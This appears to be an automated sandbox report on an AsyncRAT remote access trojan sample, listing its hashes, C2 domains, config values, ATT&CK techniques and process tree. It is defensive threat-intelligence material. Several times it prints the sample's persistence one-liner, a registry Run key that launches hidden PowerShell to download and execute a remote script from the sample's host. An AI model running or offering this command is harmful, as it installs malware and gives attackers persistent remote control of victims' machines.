asyncrat | 368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e

General

Target
368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe
Size 55KB
Sample260910-xt5lvsxtby
SHA256 368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e
MD5 71aae0ce57b905fbd42a995c9a381613
SHA1 7910e7429ab374eea9f4d1f929c7ec7547659d1e
SHA512 7fc1c925691f2b1baa7bb9ca0377a2a0ee964e09a1e3d674f1539482f014ee4ec0e0b7aa72883197ec3d4520cd9ba4ac13deaa053bc1cd95fc8e93763f56a766
SSDEEP 1536:tBvYZaYKi8rvmjp5gNpxUbcsM+3glmuaE7p2x:jY0oPQUbcR+3gsuL7Ax
TLSH
T189431A0437EC8127F1BE5F7998F261468779B6236513EA8E2CC411DB1A13BC59A027FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://vcb.bz/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

vcb.bz:443
8888xx.xyz:443
e88-ee88.com:443
s8-games.ink:443
s8game.site:443
s8.business:443
s8.moda:443
s8.immo:443
s88.coach:443
s88.red:443
s8-s8.com:443
s8net3.live:443

Mutex

91jlKNLJZynH

Attributes

delay
3
install
false
install_file
tele@engineer_at_meta.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
20	4936	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CasinoUpdateService = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://vcb.bz/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4828	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe
Token: SeDebugPrivilege	4936	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 4828	1000	368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe	86
PID 4828 wrote to memory of 3284	4828	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe
"C:\Users\Admin\AppData\Local\Temp\368dbc058a2012202bada6c67cdce46db3cdb5c16d8d66d16b13d846b0275a7e.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://vcb.bz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://vcb.bz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://vcb.bz/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_qvvxfbil.osf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qvvxfbil.osf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1000-0-0x0000000000390000-0x00000000003A4000-memory.dmp

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memory/1000-1-0x0000000004E80000-0x0000000004E90000-memory.dmp

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memory/1000-2-0x0000000004E80000-0x0000000004E90000-memory.dmp

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memory/4936-4-0x00000217FACC0000-0x00000217FACD0000-memory.dmp

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memory/4936-3-0x00000217FACC0000-0x00000217FACD0000-memory.dmp

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memory/4936-5-0x00000217FAB40000-0x00000217FAB62000-memory.dmp

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memory/4936-13-0x00000217FACC0000-0x00000217FACD0000-memory.dmp

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memory/4936-16-0x00000217FCD40000-0x00000217FCF5C000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads